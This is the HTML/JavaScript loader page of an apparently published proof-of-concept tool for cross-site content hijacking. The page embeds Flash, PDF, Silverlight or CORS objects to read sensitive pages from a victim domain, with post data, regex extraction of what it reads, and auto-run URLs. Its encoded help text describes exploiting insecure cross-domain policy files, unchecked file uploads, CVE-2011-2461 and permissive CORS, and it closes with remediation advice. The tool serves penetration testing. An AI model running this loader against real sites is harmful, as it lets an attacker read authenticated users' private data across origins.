<html>
<!-- Created by Soroush Dalili (@irsdl) from NCC Group - v1.6-->
<!-- Released under AGPL (see LICENSE for more information). -->
<!--
Usage Example:
in IE with Adobe Reader:
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objFile=objects/ContentHijacking.pdf&objType=PDF&target=http://0me.me/&POSTData=Param1=Value1
-->
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 
    <title>Cross Site Content (Data) Hijacking Demo!</title>
    <style type="text/css">
    html, body {
        height: 100%;
        overflow: auto;
    }
    body {
        padding: 0;
        margin: 0;
    }
	table {
	/*	table-layout: fixed;*/
		border-collapse: collapse;
		border-spacing: 0;
		width: 100%;
	}
	th {
		font-family: verdana;
		color: white;
		vertical-align: middle;
		background-color: black;
	}
	td {
		font-family: verdana;
		word-wrap:break-word;
		height: 30px;
		max-width: 600px;
	}
    #silverlightControlHost {
        height: 100%;
        text-align:center;
    }
	.info {
		background: #ffff00;
	}
	.logdata:nth-last-child(2n-1) {
		background: #ccc;
	}
	.logdata {
		white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap;  word-wrap: break-word;
		overflow:auto;
		max-height: 300px;
	}
	.note {
		font-family: courier;
		font-size: 15px;
	}
    </style>

	<script type="text/javascript">
		// Common scripts
		var currentLocation = document.location.href.split('?')[0];
		var	currentPath = currentLocation.substring(0,currentLocation.lastIndexOf('/')+1);
		var objType;
		var logMode;
		var corsWindow;
		function showHelp(){
			var strHelp = "<pre style='font-family: verdana;white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap;  word-wrap: break-word;'>"+unescape("Cross-Site%20Content%20Hijacking%20%28XSCH%29%20or%20Cross-Site%20Data%20Hijacking%20%28XSDH%29%20PoC%20Project%0A%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%0ALicense%0A-------%0AReleased%20under%20AGPL%20%28see%20LICENSE%20for%20more%20information%29.%0A%0ADescription%0A-----------%0AThis%20project%20can%20be%20used%20to%20provide%20a%20proof%20of%20concept%20for%3A%0A-%20Exploiting%20websites%20with%20insecure%20policy%20files%20%28crossdomain.xml%20or%20clientaccesspolicy.xml%29%20by%20reading%20their%20contents.%0A-%20Exploiting%20insecure%20file%20upload%20functionalities%20which%20do%20not%20check%20the%20file%20contents%20properly%20or%20allow%20to%20upload%20SWF%20or%20PDF%20files%20without%20having%20Content-Disposition%20header%20during%20the%20download%20process.%20In%20this%20scenario%2C%20the%20created%20SWF%2C%20XAP%2C%20or%20PDF%20file%20should%20be%20uploaded%20with%20any%20extension%20such%20as%20.JPG%20to%20the%20target%20website.%20Then%2C%20the%20%22Object%20File%22%20value%20should%20be%20set%20to%20the%20URL%20of%20the%20uploaded%20file%20to%20read%20the%20target%20website%27s%20contents.%0A-%20Exploiting%20CVE-2011-2461%20%28see%20the%20references%20for%20more%20details%29%0A-%20Exploiting%20websites%20with%20insecure%20HTML5%20cross-origin%20resource%20sharing%20%28CORS%29%20headers%0A%0ANote%3A%20.XAP%20files%20can%20be%20renamed%20to%20any%20other%20extension%20but%20they%20cannot%20be%20load%20cross-domain%20anymore.%20It%20seems%20Silverlight%20finds%20the%20file%20extension%20based%20on%20the%20provided%20URL%20and%20ignores%20it%20if%20it%20is%20not%20.XAP.%20This%20can%20still%20be%20exploited%20if%20a%20website%20allows%20users%20to%20use%20%22%3B%22%20or%20%22%2f%22%20after%20the%20actual%20file%20name%20to%20add%20a%20%22.XAP%22%20extension.%0A%0A%0A%0AUsage%0A-----%0A-%20Exploiting%20an%20insecure%20policy%20file%3A%0A%20%201%29%20Host%20the%20ContentHijacking%20directory%20with%20a%20web%20server.%0A%20%202%29%20Browse%20to%20the%20index.html%20page%20%28will%20be%20redirected%20to%20ContentHijackingLoader.html%29.%0A%20%203%29%20Change%20the%20%22Object%20File%22%20field%20in%20the%20HTML%20page%20to%20a%20suitable%20object%20from%20the%20%22objects%22%20directory%20%28%22xfa-manual-ContentHijacking.pdf%22%20cannot%20be%20used%29.%0A-%20Exploiting%20an%20insecure%20file%20upload%2fdownload%3A%20%0A%20%201%29%20Upload%20an%20object%20file%20from%20the%20%22objects%22%20directory%20to%20the%20victim%20server.%20These%20files%20can%20also%20be%20renamed%20with%20another%20extension%20when%20uploaded%20to%20another%20domain%20%28for%20this%20purpose%2C%20first%20use%20Flash%20and%20then%20PDF%20as%20Silverlight%20XAP%20files%20will%20not%20normally%20work%20with%20another%20extension%20from%20another%20domain%29.%0A%20%202%29%20The%20%22Object%20File%22%20field%20should%20be%20set%20to%20the%20location%20of%20the%20uploaded%20file.%0A-%20Exploiting%20CVE-2011-2461%0A%20%201%29%20The%20%22Object%20File%22%20field%20should%20be%20set%20to%20the%20vulnerable%20file.%0A%20%202%29%20Select%20the%20%22Flash%20CVE-2011-2461%20Only%22%20option%20from%20the%20drop-down%20list%20of%20the%20%22Type%22%20field.%0A-%20Exploiting%20an%20insecure%20CORS%20policy%3A%0A%20%201%29%20The%20%22Object%20File%22%20field%20can%20be%20set%20to%20the%20local%20%22ContentHijacking.html%22%20file.%20If%20you%20can%20upload%20a%20HTML%20file%20in%20your%20target%20domain%2C%20you%20can%20exploit%20XSS%20issues%20much%20more%20easier%20than%20using%20CORS.%0A%20%20%0ANote%3A%20.XAP%20files%20can%20be%20renamed%20to%20any%20other%20extension%20but%20they%20cannot%20be%20load%20cross-domain%20anymore.%20It%20seems%20Silverlight%20finds%20the%20file%20extension%20based%20on%20the%20provided%20URL%20and%20ignores%20it%20if%20it%20is%20not%20.XAP.%20This%20can%20still%20be%20exploited%20if%20a%20website%20allows%20users%20to%20use%20%22%3B%22%20or%20%22%2f%22%20after%20the%20actual%20file%20name%20to%20add%20a%20%22.XAP%22%20extension.%0A%0ANote%3A%20When%20Silverlight%20requests%20a%20.XAP%20file%20cross-domain%2C%20the%20content%20type%20must%20be%3A%20application%2fx-silverlight-app.%0A%0ANote%3A%20PDF%20files%20can%20only%20be%20used%20in%20Adobe%20Reader%20viewer%20%28they%20will%20not%20work%20with%20Chrome%20and%20Firefox%20built-in%20PDF%20viewers%29%0A%0ANote%3A%20Reading%20static%20contents%20or%20data%20that%20is%20publicly%20accessible%20cannot%20be%20considered%20as%20an%20issue.%20It%20is%20important%20to%20remove%20false-positive%20results%20from%20your%20advisories.%20Note%20that%20the%20use%20of%20an%20astresik%20%28%22%2a%22%29%20character%20alone%20in%20the%20%22Access-Control-Allow-Origin%22%20header%20is%20not%20an%20issue.%0A%0AUsage%20Example%3A%0A-%20in%20IE%20with%20Adobe%20Reader%3A%0A-%20https%3A%2f%2f15.rs%2fContentHijacking%2fContentHijacking.html%3FobjFile%3Dobjects%2fContentHijacking.pdf%26objType%3DPDF%26target%3Dhttp%3A%2f%2f0me.me%2f%26POSTData%3DParam1%3DValue1%0A%0AGeneric%20Recommendation%20to%20Solve%20the%20Security%20Issue%0A--------------------------------------------------%0AThe%20file%20types%20allowed%20to%20be%20uploaded%20should%20be%20restricted%20to%20only%20those%20that%20are%20necessary%20for%20business%20functionality.%0A%0AThe%20application%20should%20perform%20filtering%20and%20content%20checking%20on%20any%20files%20which%20are%20uploaded%20to%20the%20server.%20Files%20should%20be%20thoroughly%20scanned%20and%20validated%20before%20being%20made%20available%20to%20other%20users.%20If%20in%20doubt%2C%20the%20file%20should%20be%20discarded.%0A%0AAdding%20the%20%22Content-Disposition%3A%20Attachment%22%20and%20%22X-Content-Type-Options%3A%20nosniff%22%20headers%20to%20the%20response%20of%20static%20files%20will%20secure%20the%20website%20against%20Flash%20or%20PDF-based%20cross-site%20content-hijacking%20attacks.%20It%20is%20recommended%20that%20this%20practice%20be%20performed%20for%20all%20of%20the%20files%20that%20users%20need%20to%20download%20in%20all%20the%20modules%20that%20deal%20with%20a%20file%20download.%20Although%20this%20method%20does%20not%20fully%20secure%20the%20website%20against%20attacks%20using%20Silverlight%20or%20similar%20objects%2C%20it%20can%20mitigate%20the%20risk%20of%20using%20Adobe%20Flash%20and%20PDF%20objects%2C%20especially%20when%20uploading%20PDF%20files%20is%20permitted.%0A%0AFlash%2fPDF%20%28crossdomain.xml%29%20or%20Silverlight%20%28clientaccesspolicy.xml%29%20cross-domain%20policy%20files%20should%20be%20removed%20if%20they%20are%20not%20in%20use%20and%20there%20is%20no%20business%20requirement%20for%20Flash%20or%20Silverlight%20applications%20to%20communicate%20with%20the%20website.%0A%0ACross-domain%20access%20should%20be%20restricted%20to%20a%20minimal%20set%20of%20domains%20that%20are%20trusted%20and%20will%20require%20access.%20An%20access%20policy%20is%20considered%20weak%20or%20insecure%20when%20a%20wildcard%20character%20is%20used%20especially%20in%20the%20value%20of%20the%20%22uri%22%20attribute.%0A%0AAny%20%22crossdomain.xml%22%20file%20which%20is%20used%20for%20Silverlight%20applications%20should%20be%20considered%20weak%20as%20it%20can%20only%20accept%20a%20wildcard%20%28%22%2a%22%29%20character%20in%20the%20domain%20attribute.%0A%0ABrowser%20caching%20should%20be%20disabled%20for%20the%20corssdomain.xml%20and%20clientaccesspolicy.xml%20files.%20This%20enables%20the%20website%20to%20easily%20update%20the%20file%20or%20restrict%20access%20to%20the%20Web%20services%20if%20necessary.%20Once%20the%20client%20access%20policy%20file%20is%20checked%2C%20it%20remains%20in%20effect%20for%20the%20browser%20session%20so%20the%20impact%20of%20non-caching%20to%20the%20end-user%20is%20minimal.%20This%20can%20be%20raised%20as%20a%20low%20or%20informational%20risk%20issue%20based%20on%20the%20content%20of%20the%20target%20website%20and%20security%20and%20complexity%20of%20the%20policy%20file%28s%29.%0A%0ACORS%20headers%20should%20be%20reviewed%20to%20only%20be%20enabled%20for%20static%20or%20publicly%20accessible%20data.%20Otherwise%2C%20the%20%22Access-Control-Allow-Origin%22%20header%20should%20only%20contain%20authorised%20addresses.%20Other%20CORS%20headers%20such%20as%20%22Access-Control-Allow-Credentials%22%20should%20only%20be%20used%20when%20they%20are%20required.%20Items%20within%20the%20CORS%20headers%20such%20as%20%22Access-Control-Allow-Methods%22%20or%20%22Access-Control-Allow-Headers%22%20should%20be%20reviewed%20and%20removed%20if%20they%20are%20not%20required.%0A%0ANote%3A%20Using%20%22Referer%22%20header%20cannot%20be%20a%20solution%20as%20it%20is%20possible%20to%20set%20this%20header%20for%20example%20by%20sending%20a%20POST%20request%20using%20Adobe%20Reader%20and%20PDF%20%28see%20the%20%22xfa-manual-ContentHijacking.pdf%22%20file%20in%20the%20%22objects%22%20directory%29.%20Update%3A%20Setting%20the%20%22referer%22%20header%20has%20been%20addressed%20by%20Adobe%20unless%20you%20also%20find%20a%20bypass%20for%20it%20%3B%29%0A%0AProject%20Page%0A------------%0ASee%20the%20project%20page%20for%20the%20latest%20update%2fhelp%3A%20https%3A%2f%2fgithub.com%2fnccgroup%2fCrossSiteContentHijacking%0A%0AAuthor%0A------%0ASoroush%20Dalili%20%28@irsdl%29%20from%20NCC%20Group%0A%0AReferences%0A----------%0AEven%20uploading%20a%20JPG%20file%20can%20lead%20to%20Cross%20Domain%20Data%20Hijacking%20%28client-side%20attack%29%21%0Ahttps%3A%2f%2fsoroush.secproject.com%2fblog%2f2014%2f05%2feven-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack%2f%0A%0AMultiple%20PDF%20Vulnerabilities%20-%20Text%20and%20Pictures%20on%20Steroids%0Ahttp%3A%2f%2finsert-script.blogspot.co.at%2f2014%2f12%2fmultiple-pdf-vulnerabilites-text-and.html%0A%0AHTTP%20Communication%20and%20Security%20with%20Silverlight%0Ahttp%3A%2f%2fmsdn.microsoft.com%2fen-gb%2flibrary%2fcc838250%28v%3Dvs.95%29.aspx%0A%0AExplanation%20Of%20Cross%20Domain%20And%20Client%20Access%20Policy%20Files%20For%20Silverlight%0Ahttp%3A%2f%2fwww.devtoolshed.com%2fexplanation-cross-domain-and-client-access-policy-files-silverlight%0A%0ACross-domain%20policy%20file%20specification%0Ahttp%3A%2f%2fwww.adobe.com%2fdevnet%2farticles%2fcrossdomain_policy_file_spec.html%0A%0ASetting%20a%20crossdomain.xml%20file%20for%20HTTP%20streaming%0Ahttp%3A%2f%2fwww.adobe.com%2fdevnet%2fadobe-media-server%2farticles%2fcross-domain-xml-for-streaming.html%0A%0AExploiting%20CVE-2011-2461%20on%20google.com%0Ahttp%3A%2f%2fblog.mindedsecurity.com%2f2015%2f03%2fexploiting-cve-2011-2461-on-googlecom.html%0A")+"</pre>";
			var w;
			try{
				w = window.open("about:blank","_help","toolbar=no, scrollbars=yes, resizable=yes, width=800, height=600");
			}catch(e){
				w = window.open("about:blank","_blank","toolbar=no, scrollbars=yes, resizable=yes, width=800, height=600");
			}
			w.document.write(strHelp); 
			w.document.close();
		}
		
		function javaScriptLogData(strData,intType){
			if(!intType)
				intType = 0;
			var logMode = document.getElementById("logMode").value;
			
			if(intType==0 || logMode == 'all'){
				var theDiv = document.getElementById("LoggedData");
				var regEx = document.getElementById('regEx').value;
				var isValidRegEx = false;
				if(!isBlank(regEx)){
					try{
						new RegExp(regEx);
						isValidRegEx = true;
					}catch(e){
						var content = document.createTextNode("Error in Regular Expression. It is ignored.");
						var newDiv = document.createElement('div');
						newDiv.className = 'logdata';
						newDiv.appendChild(content);
						theDiv.insertBefore(newDiv,theDiv.childNodes[0]);
					}
				}
				
				if(intType==0 && isValidRegEx){
					// we need to log the results using RegEx
					var regExPattern = new RegExp(regEx, "g");
					var myMatchArray;
					var result = '';
					while ((myMatchArray = regExPattern.exec(unescape(strData))) !== null) {
						result += myMatchArray[0] + '\r\n';
					}
					
					if(result){
						var content = document.createTextNode(result);
						var newDiv = document.createElement('div');
						newDiv.className = 'logdata';
						newDiv.appendChild(content);
						theDiv.insertBefore(newDiv,theDiv.childNodes[0]);
					}
				}else{
					// if it is not a final result (e.g. message/error) or the RegEx is not valid we will show everything
					if(intType!=1337){ 
						// fixing the URL decoding bug when displaying the current page URL
						strData = unescape(strData)
					}
					var content = document.createTextNode(strData);
					var newDiv = document.createElement('div');
					newDiv.className = 'logdata';
					newDiv.appendChild(content);
					theDiv.insertBefore(newDiv,theDiv.childNodes[0]);
				}

				//theDiv.innerHTML += '<br/><br/>'
				//alert(strData);
			}
		}

		function refreshObjectTag(){
			javaScriptLogData(currentPageURLandOptions(),1337);
			var newURL = document.getElementById('objFile').value;
			objType = document.getElementById('objType').value;
			var newObjectTag;
			var attr = {}, param = {};
			if(corsWindow){
				corsWindow.close();
			}
			if(objType=='silverlight'){
				// for Silverlight
				attr = {id: 'myObject', width: 800, height: 800, 'type': 'application/x-silverlight-2', 'data': 'data:application/x-silverlight-2,'};
				param = {'source': newURL, 'onerror': 'onSilverlightError', 'onload': 'silverlightLoaded', 'enableHtmlAccess': 'true'};
				newObjectTag = createHTMLObjectElement(attr,param);
			}else if(objType=='flash'||objType=='cve-2011-2461'){
				// for flash
				attr = {id: 'myObject', width: 800, height: 800, 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'};
				
				if (objType=='cve-2011-2461')
					param = {'AllowScriptAccess': 'always','flashvars':'resourceModuleURLs='+currentPath+'/objects/ContentHijacking.swf'};
				else
					param = {'AllowScriptAccess': 'always'};
				
				if (window.ActiveXObject) {
					// for IE
					attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
					param.movie = newURL;
				} else {
					attr.data = newURL;
				};
				newObjectTag = createHTMLObjectElement(attr,param);
			}else if(objType=='pdf'){
				// for PDF
				// type application/vnd.fdf may force Firefox to use Acrobat plugin if it is installed
				// ContentHijacking.pdf only works with Adobe Reader properly
				attr = {id: 'myObject', width: 800, height: 800, 'data': newURL, 'type': 'application/pdf', 'AllowScriptAccess': 'always'};
				param = {'AllowScriptAccess': 'always'};				
				newObjectTag = createHTMLObjectElement(attr,param);
				createMessageHandler();
				isPDFLoaded = 0;
				objPDFCheckIntervalCounter = 0;
				clearTimeout(objPDFCheckInterval);
				objPDFCheckInterval = setTimeout('pdfLoaded()',1000);
			}else if(objType=='cors_iframe'){
				// for CORS
				attr = {id: 'myObject', width: 840, height: 500, 'src': newURL, 'onload':'CORSwindowLoaded()'};
				newObjectTag = createHTMLIframeElement(attr,param);
			}else if(objType=='cors_window'){
				// for CORS
				corsWindow = window.open(newURL,'ContentHijacking');
			}
			javaScriptLogData("Waiting for the new object...",1);
			if(document.getElementById("myObject"))
				document.body.removeChild(document.getElementById("myObject"));
			if(newObjectTag)
				document.body.appendChild(newObjectTag);
			else
				javaScriptLogData("Object could not be created. Check the Type field.",1);
		}

		function clearLogs(){
			var theDiv = document.getElementById("LoggedData");
			theDiv.innerHTML = '';
		}

		var createHTMLObjectElement = function(attributes, parameters) {
			var i, html, div, obj, attr = attributes || {}, param = parameters || {};

			html = '<object';
			for (i in attr) {
				html += ' ' + i + '="' + attr[i] + '"';
			}
			html += '>';
			for (i in param) {
				html += '<param name="' + i + '" value="' + param[i] + '" />';
			}
			html += '</object>';
			div = document.createElement('div');
			div.innerHTML = html;
			obj = div.firstChild;
			div.removeChild(obj);
			return obj;
		};
		
		var createHTMLIframeElement = function(attributes) {
			var i, html, div, obj, attr = attributes || {};

			html = '<iframe';
			for (i in attr) {
				html += ' ' + i + '="' + attr[i] + '"';
			}
			html += '>';
			html += '</iframe>';
			div = document.createElement('div');
			div.innerHTML = html;
			obj = div.firstChild;
			div.removeChild(obj);
			return obj;
		};
		
		function getParameterByName(name) {
			name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
			var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
				results = regex.exec(location.search);
			return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
		}

		function populate(){
			var objInfo = document.getElementById('pocinfo');
			objInfo.innerHTML = objInfo.innerHTML.replace(/%domain%/ig,document.domain);
			if(document.domain==='') alert('You need to run this file via a valid URL with HTTP(S) protocol such as http://www.attacker.com/ otherwise it will not work.');
			var objFile = getParameterByName('objfile');
			var objType = getParameterByName('objtype');
			var target = getParameterByName('target');
			var postData = getParameterByName('postdata');
			var logMode = getParameterByName('logmode');
			var regEx = getParameterByName('regex');
			var isAuto = getParameterByName('isauto');
			
			if(objFile) 
				document.getElementById('objFile').value = objFile;
			else
				document.getElementById('objFile').value = currentPath+'objects/ContentHijacking.swf';
			if(objType) document.getElementById('objType').value = objType.toLowerCase();
			if(target)  document.getElementById('target').value = target;
			if(postData)  document.getElementById('postData').value = postData;
			if(logMode)  document.getElementById('logMode').value = logMode;
			if(regEx)  document.getElementById('regEx').value = regEx;
			
			logMode = document.getElementById('logMode').value;
			updateTypeHelper(true);
			
			if(isAuto==1)
				refreshObjectTag();
		}
		
		function callTheObj(){
			var target = document.getElementById('target').value;
			var postData = document.getElementById('postData').value;
			
			javaScriptLogData("Object was called to retrieve this URL: " + target,1);
			/*
				The following function needs to be implemented in Flash or Silverlight to communicate with JavaScript
				callFromJavaScript('JavaScript_CallBack_StrInput','Target_URL');
			*/
			var objCaller;
			
			if(objType=='silverlight'){
				// Silverlight call
				objCaller = document.getElementById('myObject').content.silverlightInterop;
				if(postData===''){
					objCaller.GETURL('javaScriptLogData',target);
				}else{
					objCaller.POSTURL('javaScriptLogData',target,postData);
				}
			}else if(objType=='flash' || objType=='cve-2011-2461'){
				// Flash call
				objCaller = document.getElementById('myObject');
				if(postData===''){
					objCaller.GETURL('javaScriptLogData',target);
				}else{
					objCaller.POSTURL('javaScriptLogData',target,postData);
				}
			}else if(objType=='pdf'){
				// PDF call
				objCaller = document.getElementById('myObject');
				objCaller.postMessage([target,postData]); // PDF is different and cannot call or jsCallback function :(
			}else if(objType=='cors_iframe'){
				// CORS Iframe call
				objCaller = document.getElementById('myObject').contentWindow;
				objCaller.postMessage([target,postData],'*'); // We need to use postMessage for xdomain communication - won't work in old IEs
			}else if(objType=='cors_window'){
				// CORS window call
				objCaller = corsWindow;
				objCaller.postMessage([target,postData],'*'); // We need to use postMessage for xdomain communication - won't work in old IEs
			}
			
			
		}
		
		function currentPageURLandOptions(){
			var objFile = encodeURIComponent(document.getElementById('objFile').value);
			var objType = encodeURIComponent(document.getElementById('objType').value);
			var target = encodeURIComponent(document.getElementById('target').value);
			var postData = encodeURIComponent(document.getElementById('postData').value);
			var logMode = encodeURIComponent(document.getElementById('logMode').value);
			var regEx = encodeURIComponent(document.getElementById('regEx').value);
			
			var myURL = currentLocation + '?objfile='+objFile+'&objtype='+objType+'&target='+target+'&postdata='+postData+'&logmode='+logMode+'&regex='+regEx;
			return myURL;
		}
		
		function showURLwithParams(){
			var myURL = currentPageURLandOptions();
			if(confirm('Do you want to send the request automatically after opening?'))
				myURL += '&isauto=1'
			else
				myURL += '&isauto=0'
			prompt('Generated URL', myURL);
		}
		
		function updateTypeHelper(isFromPopulate){
			var objType = document.getElementById('objType').value;
			var fileObj = document.getElementById('objFile');
			var objTypeHelper = document.getElementById('typehelper');
			switch(objType){
				case 'flash':
					objTypeHelper.innerText = 'ContentHijacking.swf';
					break;
				case 'pdf':
					objTypeHelper.innerText = 'ContentHijacking.pdf';
					break;
				case 'silverlight':
					objTypeHelper.innerText = 'ContentHijacking.xap';
					break;
				case 'cors_iframe':
				case 'cors_window':
					objTypeHelper.innerText = 'ContentHijacking.html';
					break;
				case 'cve-2011-2461':
					objTypeHelper.innerText = 'N/A';
					break;
			}
			
			if(!isFromPopulate && objTypeHelper.innerText.match(/ContentHijacking\.[a-z]{3,4}/) && fileObj.value.match(/ContentHijacking\.[a-z]{3,4}/)){
				var newFile = objTypeHelper.innerText;
				fileObj.value = fileObj.value.replace(/ContentHijacking\.[a-z]{3,4}/,newFile);
			}
		}
		
		function selectText(containerObj) {
			if (document.selection) {
				var range = document.body.createTextRange();
				range.moveToElementText(containerObj);
				range.select();
			} else if (window.getSelection) {
				var range = document.createRange();
				range.selectNode(containerObj);
				window.getSelection().addRange(range);
			}
		}
		
		function isBlank(str) {
			return (!str || /^\s*$/.test(str));
		}
	</script>
	
	<script type="text/javascript">
		//PDF related
		var isPDFLoaded = 0;
		function createMessageHandler(objPDF) {
			if(objPDF != null){
				objPDF.messageHandler = { 
					onMessage: function(msg) {
						try{
							if(msg[0]=='loaded' && msg[1]=='1'){
								// The created PDF files sends the load message continuously for 5 seconds to make sure HTML is ready...
								if(isPDFLoaded===1)
									return;
								isPDFLoaded = 1;
								pdfLoaded();
							}else{
								javaScriptLogData(msg[0],msg[1]);
							}
							
						}catch(e){
							javaScriptLogData("Unexpected error: "+e.message,1);
						}
						
					}, 
					onError: function(error, msg) { 
						javaScriptLogData(error.message,1); 
					} 
				}
			}
		}
						
		var objPDFCheckInterval;
		var objPDFCheckIntervalCounter = 0;
		// This function is called from JavaScript via setTimeout.
		function pdfLoaded() {
			objPDFCheckIntervalCounter++;
			var objPDF = document.getElementById('myObject');
			if(isPDFLoaded===1){
				clearTimeout(objPDFCheckInterval);
				javaScriptLogData("PDF object has been loaded successfuly.",1);
				callTheObj();
			}else if(objPDFCheckIntervalCounter<10){
				objPDFCheckInterval = setTimeout('pdfLoaded()',1000);
				createMessageHandler(objPDF);
			}else{
				clearTimeout(objPDFCheckInterval);
				javaScriptLogData("PDF object could not be loaded!",1);
			}			
		}
	</script>
	<script type="text/javascript">
		// Flash related

		// This function is called from the designed SWF file
		function flashLoaded() {
			javaScriptLogData("Flash object has been loaded successfuly.",1);
			callTheObj();
		}
	</script>
    <script type="text/javascript">
		// Silverlight related
		
		// This function is called via the object Onload event
        function silverlightLoaded(sender, args) {
			javaScriptLogData("Silverlight object has been loaded successfuly.",1);
			callTheObj();
        }
		
		var myErrorArgs;
		var myErrorSender;
		window.onerror=function(errMsg){
			javaScriptLogData(errMsg,1);
		};
		
        function onSilverlightError(sender, args) {
			myErrorArgs = args;
			myErrorSender = sender;
            var appSource = "";
			var errorArgs = args;
            if (sender != null && sender != 0) {
                appSource = sender.getHost().Source;
            }
			
            var errMsg = "Unhandled Error in Silverlight Application " 
                + appSource + "\n\n";
				
				// Specify error information common to all errors.
				errMsg += "Error Type:    " + errorArgs.errorType + "\n";
				errMsg += "Error Message: " + errorArgs.errorMessage + "\n";
				errMsg += "Error Code:    " + errorArgs.errorCode + "\n";
				
				// Determine the type of error and add specific error information.
				switch(errorArgs.errorType)
				{
					case "RuntimeError":
						// Display properties specific to RuntimeErrorEventArgs.
						if (errorArgs.lineNumber != 0)
						{
							errMsg += "Line: " + errorArgs.lineNumber + "\n";
							errMsg += "Position: " +  errorArgs.charPosition + "\n";
						}
						errMsg += "MethodName: " + errorArgs.methodName + "\n";
						break;
					case "ParserError":
						// Display properties specific to ParserErrorEventArgs.
						errMsg += "Xaml File:      " + errorArgs.xamlFile      + "\n";
						errMsg += "Xml Element:    " + errorArgs.xmlElement    + "\n";
						errMsg += "Xml Attribute:  " + errorArgs.xmlAttribute  + "\n";
						errMsg += "Line:           " + errorArgs.lineNumber    + "\n";
						errMsg += "Position:       " + errorArgs.charPosition  + "\n";
						break;
					default:
						break;
				}
            throw new Error(errMsg);
        }
		
    </script>
	
	<script type="text/javascript">
		// CORS related for communication via postMessage()
		
		// This function is called via the object Onload event
        function CORSwindowLoaded() {
			javaScriptLogData("CORS window has been opneded.",1);
			callTheObj();
        }
		
		
		window.addEventListener("message", receiveCORSmessage, false);

		function receiveCORSmessage(event)
		{
			var message = event.data;
			if(typeof message === 'string'){
				// Beacon coming from CORS window to say I am alive!
				CORSwindowLoaded();
			}else{
				javaScriptLogData(message[0],message[1]);
			}
		}
		
		function sendCORSmessage(){
			
		}
	</script>
</head>

<body onload=populate()>
	<table>
	<tr>
		<th colspan="3">
			<table style="width:800px;">
			<tr>
				<th>
					Cross-Site Content (Data) Hijacking PoC
				</th>
				<th>
					<img alt="" src="NCC-logo.png" align="right"/>
				</th>
			</tr>
			</table>	
		</th>
		<th></th>
	</tr>
	<tr>
		<td colspan="3">
			<div id="pocinfo" class="info">This page has been loaded from "%domain%". </div>
		</td>
	</tr>	
	<tr>
		<td width="150">
			Object File:
		</td>
		<td width="600">
			<input type="text" id="objFile" size="80" value="" />
		</td>
		<td><p class="note">Three files have been created for this project: <b>ContentHijacking.swf</b>, and <b>ContentHijacking.xap</b>, <b>ContentHijacking.pdf</b>, <b>ContentHijacking.html</b> - Read the help for more information especially about renaming the extension part. A Flash file which is vulnerable to CVE-2011-2461 can also be used.</p></td>
	</tr>
	<tr>
		<td>
			Type:
		</td>
		<td>
			<table>
				<tr>
					<td width="200px;">
						<select id="objType" onchange="updateTypeHelper()">
							<option value="flash">Flash</option>
							<option value="pdf">PDF</option>
							<option value="silverlight">Silverlight</option>
							<option value="cors_iframe">CORS Iframe</option>
							<option value="cors_window">CORS Window</option>
							<option value="cve-2011-2461">Flash CVE-2011-2461 Only</option>
						</select>
					</td>
					<td>
						deafult: ./object/<span id="typehelper" onclick="selectText(this)"></span>
					</td>
				</tr>
			</table>
		</td>
		<td><p class="note">Flash is the best possible option. PDF only works with Adobe Reader in IE. Silverlight does not work well when the target is set to another domain.</p></td>
	</tr>
	<tr>
		<td>
			Target Page:
		</td>
		<td>
			<input type="text" id="target" size="80" value="http://www.victim.com/" />
		</td>
		<td><p class="note">Page that you want to read its content and it contains sensitive contents.</p></td>
	</tr>
	<tr>
		<td>
			POST Data:
		</td>
		<td>
			<input type="text" id="postData" size="80" value="" />
		</td>
		<td><p class="note">POST method in reading content request will be used when this field is not empty.</p></td>
	</tr>
	<tr>
		<td>
			Log Mode:
		</td>
		<td>
			<select id="logMode">
				<option value="all">Log everything</option>
				<option value="result">Log results only</option>
			</select>
		</td>
		<td><p class="note">Different type of logging.</p></td>
	</tr>
	<tr>
		<td>
			Show RegEx:
		</td>
		<td>
			<input type="text" id="regEx" size="80" value="" /><br/>
		</td>
		<td><p class="note">Only extracted data using the provided Regular Expression is logged when this field is not empty.</p></td>
	</tr>
	<tr>
		<td colspan="3">
			<input type="button" id="loadObjRetrieveBtn" value="Retrieve Contents" onclick="refreshObjectTag();" />
			<input type="button" id="clearLogsBtn" value="Clear Logs" onclick="clearLogs()" />
			<input type="button" id="helpBtn" value="Help" onclick="showHelp()" />
			<input type="button" id="generateURLBtn" value="Show URL with Parameters" onclick="showURLwithParams()" />
		</td>
	</tr>
	<tr>
		<td colspan="3">
			<hr/>
			<div id=LoggedData></div>
		</td>
	</tr>
	<tr>
		<td colspan="3">
			<br/><br/>
			<hr/>
			The object will be loaded below for debugging purposes...
			<hr/>
		</td>
	</tr>
	</table>
	<object id="myObject" ></object>
</body>
</html>
